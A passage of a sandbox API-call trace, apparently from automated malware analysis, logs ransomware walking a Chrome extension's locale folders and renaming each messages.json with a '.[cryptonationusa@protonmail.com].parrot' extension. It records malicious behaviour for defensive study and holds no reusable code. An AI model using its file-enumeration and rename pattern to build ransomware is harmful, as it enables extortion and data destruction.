Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a990 | out: hHeap=0x5b0000) returned 1 [0071.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681568 | out: hHeap=0x5b0000) returned 1 [0071.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67f588 | out: hHeap=0x5b0000) returned 1 [0071.343] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.344] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8022020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.344] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.344] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.346] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.346] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.346] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.346] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.346] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.347] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x242, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.347] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.347] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.348] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.348] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x12a, lpOverlapped=0x0) returned 1 [0071.349] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.349] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x242, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.349] CloseHandle (hObject=0x1fc) returned 1 [0071.349] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d02c8 | out: hHeap=0x5b0000) returned 1 [0071.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6816f0 | out: hHeap=0x5b0000) returned 1 [0071.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.351] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.351] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8022020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.351] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.351] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.352] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.352] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.352] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.352] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.352] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.352] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.352] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.353] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.353] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb2, lpOverlapped=0x0) returned 1 [0071.354] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.354] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.354] CloseHandle (hObject=0x1fc) returned 1 [0071.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0071.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681878 | out: hHeap=0x5b0000) returned 1 [0071.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0071.423] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.423] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb80e0700, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb80e0700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.423] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.424] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.424] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.424] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.424] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.424] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.425] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x221, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.425] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.425] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.426] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x109, lpOverlapped=0x0) returned 1 [0071.426] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.426] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x221, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.426] CloseHandle (hObject=0x1fc) returned 1 [0071.427] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0071.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681878 | out: hHeap=0x5b0000) returned 1 [0071.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0071.430] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.430] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb80e0700, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb80e0700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb80e0700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.430] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.431] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.431] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.431] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.431] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.431] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.431] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.431] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.431] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.432] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.432] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcc, lpOverlapped=0x0) returned 1 [0071.433] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.433] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.433] CloseHandle (hObject=0x1fc) returned 1 [0071.433] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a990 | out: hHeap=0x5b0000) returned 1 [0071.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681878 | out: hHeap=0x5b0000) returned 1 [0071.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67f8b8 | out: hHeap=0x5b0000) returned 1 [0071.435] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.435] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8106860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.436] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8106860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.436] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 